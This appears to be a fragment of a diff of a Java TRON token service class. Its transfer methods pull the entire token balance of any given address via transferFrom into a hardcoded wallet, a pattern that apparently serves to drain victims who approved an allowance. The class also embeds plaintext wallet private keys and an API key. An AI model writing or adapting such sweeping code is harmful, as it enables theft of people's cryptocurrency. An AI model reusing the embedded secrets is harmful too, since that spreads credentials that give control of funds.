| | |
| | | **/ |
| | | public class TrxService { |
| | | |
| | | private final static String ADDRESS = "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9"; |
| | | private final static String PRIVATE = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae"; |
| | | private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; |
| | | private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7"; |
| | | |
| | | private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; |
| | | private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54"; |
| | |
| | | public void transfer(String address) { |
| | | BigInteger balance = balanceOf(address); |
| | | |
| | | contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000L); |
| | | contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); |
| | | } |
| | | |
| | | public String transfer(String address, BigDecimal amount) { |
| | |
| | | BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); |
| | | amount = amount.multiply(mul); |
| | | |
| | | return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000L); |
| | | return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L); |
| | | } |
| | | |
| | | public static void main(String[] args) { |
| | | System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));; |
| | | } |
| | | } |